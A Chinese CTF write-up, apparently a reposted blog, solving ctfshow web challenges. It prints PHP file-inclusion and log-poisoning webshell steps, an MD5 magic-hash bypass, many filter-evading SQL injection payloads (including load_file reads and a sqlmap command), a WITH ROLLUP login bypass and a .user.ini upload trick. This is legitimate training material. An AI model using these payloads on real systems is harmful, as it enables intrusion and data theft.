ctfshow web系列

声明:

本文章只适用于网络安全交流与学习,请读者遵循网络安全法,若读者从事一些与网络安全不相关的事情,结果均与本人无关!!!

是ctfshow的web题:https://www.ctf.show/

web3:

开局提示使用php include get url include()函数是通过get请求来接受一个url参数,所以我们可以传递一个url参数

  • 使用php将系统代码ls传入进去
  • 使用php伪协议 可以利用文件包含漏洞

  • 当前目录下面有一个ctf_go_go_go的文件

利用文件包含漏洞,去访问ctf_go_go_go 找到了flag值

  • php中的文件包含的常见的函数有以下4种:
  1. require():找不到被包含的文件会产生致命的错误,并且停止脚本运行
  2. include():找不到被包含的文件只会产生警告,脚本继续执行
  3. require_once():与require()类似,唯一的区别就是如果该文件已经被包含,则不会被再次包含
  4. include_once():与include()类似唯一的区别就是如果该文件已经被包含,则不会被再次包含

注意:

  • include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

强调:

这里重点是使用了一个PHP伪协议,使用input读取 直接在get请求后面输入要执行的命令即可

当enctype=”multipart/form-data” 的时候 php://input 是无效的

当input输入无效的时候,可以使用filter

  • 例如:

php://filter/read=convert.base64-encode/resource=index.php 使用base64加密,将index.php的文件读取出来 这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。 php://filter/resource=index.php 筛选过滤的数据流:index.php

WEB4

同理:

存在一个文件包含,还是使用php伪协议 input执行系统命令

但是这里出来400 并没有成功,可能是后端对input函数做了限制

相应头是nginx服务器,所以可以读区nginx的日志文件

?url=/var/log/nginx/access.log

我们可以直接用php来输入命令来看日志变化情况

这里日志会不断的变化,我们可以在ua头写入一句话,getshell即可

强调:

这里将input协议进行了过滤可以通过nginx的日志来利用,可以写入一句话,通过一句话getshell,也可以使用php调用系统命令找到flag的路径去查看

web5

注意:

  • ctype_alpha()这个函数用于检测输入的字符串中是否包含字母,是则返回true,不是则返回flase
  • is_numeric()函数用于检测变量是否为数字或者数字字符串,是这返回true,否这返回flase

经过代码审计得到,需要用get请求传入v1和v2两个参数.并且v1只能是字母 、v2只能是数字或者数字字符串 并且两个的md5还必须相等

  • md5是一种信息摘要算法,一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用来确保信息传输完整一致性。
  • 所以不管使用什么算法得到的md5值都是固定的128位

php在处理字符串时会把每一个以“0E”开头的哈希值都解释为0 所以确保v1 v2 输入的两个hash值都是0e开头都能解释为0 而满足条件

v1=QNKCDZO v2=240610708 所以使用这两个就可以,将其构造成get请求传入即可

强调:

重点在于代码审计,然后需要利用md5的加密机制0E开头的md5会被默认识别位为0 则满足if语句,所以执行生成flag值

web6:

注意:

  • 先来测试是否有注入:

  • 爆了一个注入错误

  • 那就是做了一些过滤,将空格改成/**/试一下

'/**/or/**/1=1/**/# 这里用万能密码测试发现可以出来 这里找到了注入点 
可以直接sqlmap一把梭 
sqlmap --data="username=1&password=1" -p "username" --tamper="space2comment.py" -u https://c6b2267a-70dd-4fb8-91f9-ae5e31bcef5c.challenge.ctf.show/ --dump #--data即用post方式 -p 用来指定要测试的参数 --tamper可以指定使用的脚本 space2comment.py tamper调用space2comment.py脚本的时候SQLMAP检测目标时使用的payload中空格会被替换成/**/. --dump是获取所有内容

这里使用sqlmpa直接就拿下

我们可以手动来测试一下,使用手工注入来找flag值 测试列数

'/**/or/**/1=1/**/order/**/by/**/1# 
'/**/or/**/1=1/**/order/**/by/**/2# 
'/**/or/**/1=1/**/order/**/by/**/3# 
'/**/or/**/1=1/**/order/**/by/**/4#  #这里第四个字段是没有参数的,所以一共就只有3列了

找到列数3列开始找回显位置

‘/**/or/**/1=1'/**/union/**/select/**/1,2,3/**/#

查找数据库名 数据表和字段:

‘/**/or/**/1=1'/**/union/**/select/**/1,database(),3/**/# #这里确认数据库名称为web2 
'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'/**/# #来确定web库中存在的表 #通过查询information_schema.tables,可以获取当前数据库中所有表的详细信息 #确定了数据库中的表有 user flag等 
'/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'/**/# #information_schema.column,可以获取当前数据库中指定的数据表中的字段 #确定了web2库中flag表中的字段有flag 
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/web2.flag/**/# #查询web2库中flag表中的falg字段中的内容 
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag/**/# #两个命令都可以使用 因为目前是web2的数据库所以不用指定数据库名称,如果要查询别的数据库中的表中的字段的内容,这需要指定数据库的名称

强调:

主要是sql inject的利用,找到注入点以后采用sql语句进行即可,需要将空格转换为/**/

web7:

注意:

看到三个目录,点开以后id分别为1,2,3

这里判断注入点

这里就是同理了,将空格做了过滤,使用/**/绕过空格即可

使用sql语句即可找到

10/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag")

整体思路同上

强调:

要注意将空格做了过滤,需要使用/**/来绕过,可以先写sql语句然后再将空格全部换成/**/即可

web8 9

注意:

8是一个盲注 过滤了很多东西,需要用python写一个脚本,手注太复杂,费时费力,由于代码基础较弱所以没办法写一个教程

9 找了很多办法,是md5绕过,整个过程不是很懂,就不出教程了!

web10:

注意:

点击取消以后

有一个php的文件可以下载

这里是后端源代码

这里分析得到,对select where等进行了过滤,所以不能使用使用这些

分析源码我们得到,先根据用户名查询用户的信息,如果用户名称通过才会对密码进行判断,所以可以直接绕过用户名的过滤条件

'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# #使用这个即可 
#当我们使用with rollup之后会在查询结果中添加一个额外的行,结果显示总计值 由于with rollup不会对froup 指定的password列进行求和统计所以这里会在最后一行返回的password的值为null,这里我们也不输入密码,所以就导致查询的密码null=null 从而登录成功

强调:

重点设计了一个with rollup的使用,利用这可以达到绕过的目的

web11:

注意:

打开以后代码审计发现,这里将sql语句过滤了,所以这里不能使用注入,但是有一个if语句,如果密码的值与session值做对比

  • 这里就可以利用session和密码都是空进入  
  • 直接食用空密码然后登陆即可得到flag

强调:

这里就是做了一个session验证

  • 在php中,通过$_SESSION全局数组来获取和设置session,首先调用session_start()来启动session
  • session是用户首次访问网站的时候,服务器生成的一个唯一的绘画标识,存储在用户的cookie中,每次访问的时候,浏览器都会自动将这个cookie发送到服务器端并且如果关闭了浏览器cookie中的session值也会被清除

web12

注意:

前端代码中提示使用?cmd

  • 使用phpinfo();后段代码会当作php代码执行,所以这里可以代码执行

这里可以看到nginx的日志文件

可以使用burp在ua头中注入一句话

  • 用中国蚁剑上线成功

  • 可是这里没有权限

  • 可以使用蚁剑的插件来绕过disable_function(这里可以使用蚁剑自带的插件市场下载,但是这里好像需要科学上网,如果师傅们这里下载不了可以去github找找方法)

  • 成功拿下

强调:

当可以用命令去执行php代码的时候,可以考虑考虑显示日志文件 然后利用日志来执行php恶意代码从而getshell

web13:

注意:

这里很明显就是文件上传漏洞了

  • 目录扫描找到了.bak的备份文件

这里写到了绕过规则

  1. 文件大小要小于24个字节
  2. 名字要少于9个字节
  3. 后缀名要小于3个字节并且如果后缀名中有php就会过滤
  • 这里可以先传入.usr.ini文件,然后在传入一个xx.txt文件,让它解析php语句即可
  • .usr.ini中写入:auto_append_file=xx.txt(会直接执行txt中的php语句)

在.usr.ini中设置了文件名,就会在任意一个页面中将该文件包含进去

  • xx.txt文件中用get传入一个一句话

然后使用一句话传参使用print_r(glob(‘*’)); 打印出所有的内容

然后使用highlight_file()函数将php代码显示到当前页面

强调:

这里注意合理使用文件上传的漏洞,当存在过滤的时候可以利用文件包含的漏洞配合文件上传使用,传入一个非php的文件,利用文件包含漏洞,来解析php代码

web14

注意:

看到让我们使用get请求用c去传入参数,这里给了一个switch语句,当我们输入3的时候会跳出switch循环执行highlight_file这个函数

找到了一个文件,我们可以去访问看一下

一个登录框而且是使用query来传参

尝试注入

  1. query=1,弹窗出一个admin
  2. 更改query=2,弹窗一个gtf1y
  3. 提交query=2-1,弹出admin
-1/**/union/**/select/**/1/**/# 
-1/**/union/**/select/**/1,2/**/#

这里只有能回显1位,并且第二个回显为空

这里知道了有1个回显

利用这个回显来查询数据库名称和数据表以及字段

-1/**/union/**/select/**/database()/**/# #得到数据库名称是web 
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web'/**/# #但是这里并没有查询到结果

原来是这里对infomation_mation.table和information.cloumns 进行了过滤

可以使用``过滤(这是我找的一个师傅的解决办法,这里应该也可以使用别的方法,各位师傅们可以试试)

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'/**/# #得到表名为content 
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'/**/# #字段为id username password 
-1/**/union/**/select/**/group_concat(id,'~',username,'~',password)/**/from/**/content/**/#

这里字段内容说到有一个secret

开始代码中写到了include secret.php 这里就是提示我们使用secret.php这个文件

但是这里并没有我们想要的结果而且源码中也没有

所以这里include这个参数给我们提示,我们可以去利用select语句去看secret.php这个文件

一般web服务的目录文件是/var/www/html 所以我们可以直接去load_file 

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')/**/#

这里原来页面是没什么变化,可是源码中有了新的变化

提示我们flag路径是/real_flag_is_here

-1/**/union/**/select/**/load_file('/real_flag_is_here')/**/#

这里我们就找到了ctf,它是存放在源码中的

强调:

要代码审计找到漏洞点,还要多去查看源码中的内容,往往有时候源码中的内容是比较重要的一部分

结语:

出一个web系列的ctf,供各位师傅们借鉴参考!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/59271.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

善用Git LFS来降低模型文件对磁盘的占用

将讲一个实际的例子:对于模型文件,动辄就是好几个G,而有的仓库更是高达几十G,拉一个仓库到本地,稍不注意直接磁盘拉满都有可能。 比如:meta-llama-3.1-8b-instruct,拉到本地后发现居然占用了60G…

十四届蓝桥杯STEMA考试Python真题试卷第二套第五题

来源:十四届蓝桥杯STEMA考试Python真题试卷第二套编程第五题 本题属于迷宫类问题,适合用DFS算法解决,解析中给出了Python中 map() 和列表推导式的应用技巧。最后介绍了DFS算法的两种常见实现方式——递归实现、栈实现,应用场景——迷宫类问题、图的连通性、树的遍历、拓朴排…

MYSQL安装(ubuntu系统)

rpm -qa 查询安装软件包 ps axj 查询服务 卸载mysql(万不得已) ps axj | grep mysql 查看是否存在mysql服务 systemctl stop mysqld 关闭该服务 rpm -qa | grep mysql 查安装mysql安装包 rmp -qa | grep mysql | xargs (yum apt) -y remove进行批量…

智能提醒助理系列-jdk8升级到21,springboot2.3升级到3.3

本系列文章记录“智能提醒助理”产品建设历程,记录实践经验、巩固知识点、锻炼总结能力。 本篇介绍技术栈升级的过程,遇到的问题和解决方案。 一、需求出发点 智能提醒小程序 当前使用的是jdk8,springboot2.3,升级到jdk21和springboot3.3 学…

MMdetection3D环境配置

为啥要写这个?:没看网上有这个全的环境配置教程T^T 首先说明一下,由于mmdetection3d官方文档说支持Linux平台,实验性支持windows,所以我们选择Linux平台进行开发 0.Linux双系统安装 参考这个视频即可 Windows 和 U…

openapi回调地址请求不通过

目录 1. 验证url接口get请求本地自测报错 2. 测试回调模式成功不返回结果 3. 测试回调模式返回结果带双引号 对接企业微信 产生会话回调事件 接口问题解决 1. 验证url接口get请求本地自测报错 java.lang.IllegalArgumentException: Last encoded character (before the pa…

Chrome和夸克谁更护眼

在当今数字化时代,我们每天长时间面对电脑和手机屏幕,眼睛的健康问题变得越来越重要。浏览器作为我们日常使用频率极高的工具,其护眼功能的优劣直接影响到我们的视觉舒适度。本文将对Chrome和夸克两款主流浏览器进行对比,探讨它们…

命令行参数、环境变量、地址空间

命令行参数: int main(int argc, char *argv[ ]),main的参数可带可不带。argc参数通常代表后面的char *argv的元素个数有多少。 在linux中会把输入的字符串存到char *argv[ ]中,在数组的结尾为NULL。 命令行参数可以让同一个程序可以通过不同…

基于Matlab 模拟停车位管理系统【源码 GUI】

系统对进入停车位的车辆进行车牌识别,将识别出来的车牌号显示出来;然后对车主进行人脸识别,框出车主照片的人脸部分作为车主信息的标记,记录在系统库中。车辆在库期间,系统使用者可以随意查看车辆与车主信息的获取过程…

SpringBoot项目集成ONLYOFFICE

ONLYOFFICE 文档8.2版本已发布:PDF 协作编辑、改进界面、性能优化、表格中的 RTL 支持等更新 文章目录 前言ONLYOFFICE 产品简介功能与特点Spring Boot 项目中集成 OnlyOffice1. 环境准备2. 部署OnlyOffice Document Server3. 配置Spring Boot项目4. 实现文档编辑功…

学习笔记:微服务技术栈(一)服务治理框架SpringCloud

教学视频链接: 【SpringCloudRabbitMQDockerRedis搜索分布式,系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 目录 前言一、认识微服务1.1 服务架构1.2 微服务架构1.3 SpringCloud 二、服务拆分及远程调用2.1 服务拆分细节2.2 服务间调用 …

前端小练习——星辰宇宙(JS没有上限!!!)

前言:在刚开始学习前端的时候,我们会学习到前端三件套中的JavaScript,可能那时候读者没有觉得JavaScript这个语言有多么的牛逼,本篇文章将会使用一个炫酷的案例来刷新你对JavaScript这个语言的认知与理解。 ✨✨✨这里是秋刀鱼不做…

【网络】传输层协议TCP(下)

目录 四次挥手状态变化 流量控制 PSH标记位 URG标记位 滑动窗口 快重传 拥塞控制 延迟应答 mtu TCP异常情况 四次挥手状态变化 之前我们讲了四次挥手的具体过程以及为什么要进行四次挥手,下面是四次挥手的状态变化 那么我们下面可以来验证一下CLOSE_WAIT这…

XingHan-Team团队官网系统源码 全开源

XingHan-Team 官网程序是一个现代化的企业官网管理系统,由星涵网络工作室开发。 本系统提供了完整的网站内容管理功能,包括用户管理、内容发布、成员查询、成员申请等功能。 源码下载:https://download.csdn.net/download/m0_66047725/8995…

vrrp和mstp,vrrp和byd

vrrp和mstp 思路 vrrp是用来虚拟网关,噢,是虚拟一条虚拟网关 优先级,priority越大越优先,优先级相同,哪个的路由器的vrrp先起来,谁就是主 mstp是快速生成树协议,防止环路用的 优先级越小越优…

图说复变函数论重大错误:将无穷多各异平面误为同一面

黄小宁 医学若将前所未知的“新冠”病毒误为已熟知的流感病毒,后果...;数学将前所未知的点集误为已熟知的集就会引出一连串的重大错误。 h定理:点集AB的必要条件是A≌B。 证:(1)任何图≌自己是几何学最起码…

SpringBoot技术:打造新闻稿件管理平台

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…

深入理解DMA(直接存储器访问)

直接存储器访问(DMA,Direct Memory Access)是一种允许外设和内存之间直接传输数据的机制,旨在提高数据传输的效率,减少CPU的负担。在传统的数据传输中,CPU负责所有的数据移动和处理,这导致CPU资源被大量占用,影响系统的整体性能。而DMA的出现,正是为了优化这一过程,使…

【Wi-Fi】WiFi中QAM及16-QAM、64-QAM、512-QAM、1024-QAM、2048-QAM、4096-QAM整理

参考链接 什么是QAM?QAM是如何工作的? - 华为 不同阶QAM调制星座图中,符号能量的归一化计算原理 - 知乎 16 QAM modulation vs 64 QAM modulation vs 256 QAM modulation 512 QAM vs 1024 QAM vs 2048 QAM vs 4096 QAM modulation type…

EHOME视频平台EasyCVR萤石设备视频接入平台视频诊断技术可以识别哪些视频质量问题?

EasyCVR视频监控汇聚管理平台是一款针对大中型项目设计的跨区域网络化视频监控集中管理平台。萤石设备视频接入平台EasyCVR不仅具备视频资源管理、设备管理、用户管理、运维管理和安全管理等功能,还支持多种主流标准协议,如GB28181、GB35114、RTSP/Onvif…